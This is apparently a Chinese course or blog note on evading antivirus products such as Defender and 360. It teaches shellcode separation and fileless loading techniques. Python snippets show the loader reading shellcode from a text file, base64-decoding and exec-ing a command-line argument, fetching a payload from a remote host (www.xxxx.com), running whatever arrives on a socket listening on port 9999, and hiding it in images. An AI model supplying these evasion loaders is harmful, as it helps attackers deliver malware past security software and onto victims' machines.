第112天:免杀对抗-加载器分离&无文件落地&图片隐写&SOCK管道&参数协议化

第112天:免杀对抗-加载器分离&无文件落地&图片隐写&SOCK管道&参数协议化_第1张图片

知识点

#知识点:
1、无文件落地&分离拆分-将shellcode从文本中提取-file
2、无文件落地&分离拆分-将shellcode与加载器分离-argv
3、无文件落地&分离拆分-将shellcode远程协议加载-http
4、无文件落地&分离拆分-将shellcode通过管道传输-socket
5、无文件落地&分离拆分-将shellcode隐写进图片内-images

#章节点:
编译代码面-ShellCode-混淆
编译代码面-编辑执行器-编写
编译代码面-分离加载器-编写
程序文件面-特征码定位-修改
程序文件面-加壳花指令-资源
代码加载面-Dll反射劫持-加载
权限逻辑面-杀毒进程干扰-结束
工具数据面-通讯内存流量-动态

对抗目标:
X60 Defender 某绒 管家 VT等

编程语言:
C/C++  Python C# Go Powershell Ruby Java ASM等

涉及技术:
ShellCode混淆加密,无文件落地,分离拆分,白名单,DLL加载,Syscall,加壳加花,
资源修改,特征修改,二次开发CS,内存休眠,进程注入,反沙盒,反调试,CDN解析等

演示案例

1、Python-File-将shellcode从文本中提取
2、Python-Argv-将shellcode与加载器分离
3、Python-Http-将shellcode用远程协议加载
4、Python-Socket-将shellcode通过管道传输
5、Python-Images-将shellcode隐写进图片内
内存免杀是将shellcode直接加载进内存,由于没有文件落地,因此可以绕过文件扫描策略的查杀。为了使内存免杀的效果更好,在申请内存时一般采用渐进式申请一块可读写内存,在运行时改为可执行,在执行的时候遵循分离免杀的思想。分离免杀包含对特征和行为的分离两个维度,把shellcode从放在程序转移到加载进内存,把整块的shellcode通过分块传输的方法上传然后再拼接,这些体现了基本的”分离“思想。

#Python-File-将shellcode从文本中提取
with open('s.txt','r') as f:
    s=f.read()

#Python-Argv-将shellcode与加载器分离
核心代码:
z=sys.argv[1]
zx=base64.b64decode(z)
exec(zx)

#Python-Http-将shellcode用远程协议加载
核心代码:
all=requests.get('http://www.xxxx.com/all.txt').text

#Python-Socket-将shellcode通过管道传输
参考:https://www.cnblogs.com/Keep-Ambition/p/7459213.html
def zx(data):
    执行code
server = socket.socket()
server.bind(("0.0.0.0",9999))
server.listen(5)
while True:
    conn,addr = server.accept()
    while True:
        data = conn.recv(1024)
        zx(data)

#Python-Images-将shellcode隐写进图片内
参考:https://mp.weixin.qq.com/s/c8U2M_iJ8pWaI50sH8u9Hw
加密:RGBAencodeDataInImage(im, arguments['']).save(arguments[''])
解密:im = Image.open(arguments[''])

总结

之前的课程讲了C/C++、Python、C#、Go、Powershell、Java、ASM等的shellcode混淆加密免杀技术

现在讲的是"无文件落地&分离拆分"的免杀,目的是让杀软即使反编译逆向,也无法在源代码中直接看到shellcode

具体可以通过以下几种方式实现:
1. 将shellcode从文本中提取-file(有程序执行、shellcode存储两个文件,执行时加载shellcode到程序执行文件)
2. 将shellcode与加载器分离-argv(把shellcode放到参数上去接收运行)
3. 将shellcode远程协议加载-http(请求加载远程主机上存有shellcode的文件)
4. 将shellcode通过管道传输-socket(建立一个socket连接,在管道里传入shellcode)
5. 将shellcode隐写进图片内-images(把shellcode藏到正常的图片中去,但也能正常提取)

注意:shellcode不在程序本身,而是从外部(文本、参数、远程加载等)获取的,在执行时会加载入内存

分离免杀之所以能获得很好的效果就是因为shellcode加载器本身并不包含恶意代码,自然也不会包含恶意软件的特征码,
而只有当加载器运行时,它才会从程序之外加载shellcode执行,通过这种方式能够有效避免基于特征码的查杀方式,当然也是偏静态的

你可能感兴趣的:(免杀对抗,免杀)